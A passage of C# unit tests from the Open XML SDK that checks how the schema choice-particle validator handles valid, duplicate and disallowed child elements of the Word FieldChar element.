            Assert.Same(expected, validationContext.Errors[0].Node);
            Assert.Same(errorChild, validationContext.Errors[0].RelatedNode);
            Assert.Equal(ValidationErrorType.Schema, validationContext.Errors[0].ErrorType);
            Assert.Equal("Sch_UnexpectedElementContentExpectingComplex", validationContext.Errors[0].Id);
            Assert.DoesNotContain(ValidationErrorStrings.Fmt_ListOfPossibleElements, validationContext.Errors[0].Description);
        }
        private void TestSimpleChoice(SdbSchemaDatas sdbSchemaDatas)
        {
            ValidationContext validationContext = new ValidationContext();
            ValidationResult  actual            = new ValidationResult();

            validationContext.ValidationErrorEventHandler += actual.OnValidationError;
            OpenXmlElement errorChild;

            FieldChar fldChar            = new FieldChar();
            var       particleConstraint = sdbSchemaDatas.GetSchemaTypeData(fldChar).ParticleConstraint;
            var       target             = particleConstraint.ParticleValidator as ChoiceParticleValidator;

            validationContext.Element = fldChar;
            var expected = fldChar;

            //<xsd:complexType name="CT_FldChar">
            //  <xsd:choice>
            //    <xsd:element name="fldData" type="CT_Text" minOccurs="0" maxOccurs="1">
            //    <xsd:element name="ffData" type="CT_FFData" minOccurs="0" maxOccurs="1">
            //    <xsd:element name="numberingChange" type="CT_TrackChangeNumbering" minOccurs="0">
            //  </xsd:choice>
            //</xsd:complexType>

            // ***** good case ******
            target.Validate(validationContext);
            Assert.True(actual.Valid);

            fldChar.AppendChild(new FieldData());
            target.Validate(validationContext);
            Assert.True(actual.Valid);

            fldChar.RemoveAllChildren();
            fldChar.AppendChild(new FormFieldData());
            target.Validate(validationContext);
            Assert.True(actual.Valid);

            fldChar.RemoveAllChildren();
            fldChar.AppendChild(new NumberingChange());
            target.Validate(validationContext);
            Assert.True(actual.Valid);

            // ***** error case ******

            // 1st is invalid
            errorChild = fldChar.PrependChild(new Paragraph());
            target.Validate(validationContext);
            Assert.False(actual.Valid);
            Assert.Equal(1, actual.Errors.Count);
            Assert.Same(expected, actual.Errors[0].Node);
            Assert.Same(errorChild, actual.Errors[0].RelatedNode);
            Assert.Equal(ValidationErrorType.Schema, actual.Errors[0].ErrorType);
            Assert.Equal("Sch_InvalidElementContentExpectingComplex", actual.Errors[0].Id);
            Assert.True(actual.Errors[0].Description.Contains(":fldData"));
            Assert.True(actual.Errors[0].Description.Contains(":ffData"));
            Assert.True(actual.Errors[0].Description.Contains(":numberingChange"));

            actual.Clear();
            // second is invalid
            fldChar.RemoveChild(errorChild);
            errorChild = fldChar.AppendChild(new Paragraph());
            target.Validate(validationContext);
            Assert.False(actual.Valid);
            Assert.Equal(1, actual.Errors.Count);
            Assert.Same(expected, actual.Errors[0].Node);
            Assert.Same(errorChild, actual.Errors[0].RelatedNode);
            Assert.Equal(ValidationErrorType.Schema, actual.Errors[0].ErrorType);
            Assert.Equal("Sch_InvalidElementContentExpectingComplex", actual.Errors[0].Id);
            Assert.False(actual.Errors[0].Description.Contains(ValidationErrorStrings.Fmt_ListOfPossibleElements));

            actual.Clear();
            // dup first child
            fldChar.RemoveAllChildren();
            fldChar.Append(new FieldData(), new FieldData());
            errorChild = fldChar.LastChild;
            target.Validate(validationContext);
            Assert.False(actual.Valid);
            Assert.Equal(1, actual.Errors.Count);
            Assert.Same(expected, actual.Errors[0].Node);
            Assert.Same(errorChild, actual.Errors[0].RelatedNode);
            Assert.Equal(ValidationErrorType.Schema, actual.Errors[0].ErrorType);
            Assert.Equal("Sch_UnexpectedElementContentExpectingComplex", actual.Errors[0].Id);
            Assert.False(actual.Errors[0].Description.Contains(ValidationErrorStrings.Fmt_ListOfPossibleElements));

            actual.Clear();
            // two different
            fldChar.RemoveAllChildren();
            fldChar.Append(new FieldData(), new FormFieldData());
            errorChild = fldChar.LastChild;
            target.Validate(validationContext);
            Assert.False(actual.Valid);
            Assert.Equal(1, actual.Errors.Count);
            Assert.Same(expected, actual.Errors[0].Node);
            Assert.Same(errorChild, actual.Errors[0].RelatedNode);
            Assert.Equal(ValidationErrorType.Schema, actual.Errors[0].ErrorType);
            Assert.Equal("Sch_UnexpectedElementContentExpectingComplex", actual.Errors[0].Id);
            Assert.False(actual.Errors[0].Description.Contains(ValidationErrorStrings.Fmt_ListOfPossibleElements));

            actual.Clear();
            // two different
            fldChar.RemoveAllChildren();
            fldChar.Append(new FormFieldData(), new FieldData());
            errorChild = fldChar.LastChild;
            target.Validate(validationContext);
            Assert.False(actual.Valid);
            Assert.Equal(1, actual.Errors.Count);
            Assert.Same(expected, actual.Errors[0].Node);
            Assert.Same(errorChild, actual.Errors[0].RelatedNode);
            Assert.Equal(ValidationErrorType.Schema, actual.Errors[0].ErrorType);
            Assert.Equal("Sch_UnexpectedElementContentExpectingComplex", actual.Errors[0].Id);
            Assert.False(actual.Errors[0].Description.Contains(ValidationErrorStrings.Fmt_ListOfPossibleElements));
        }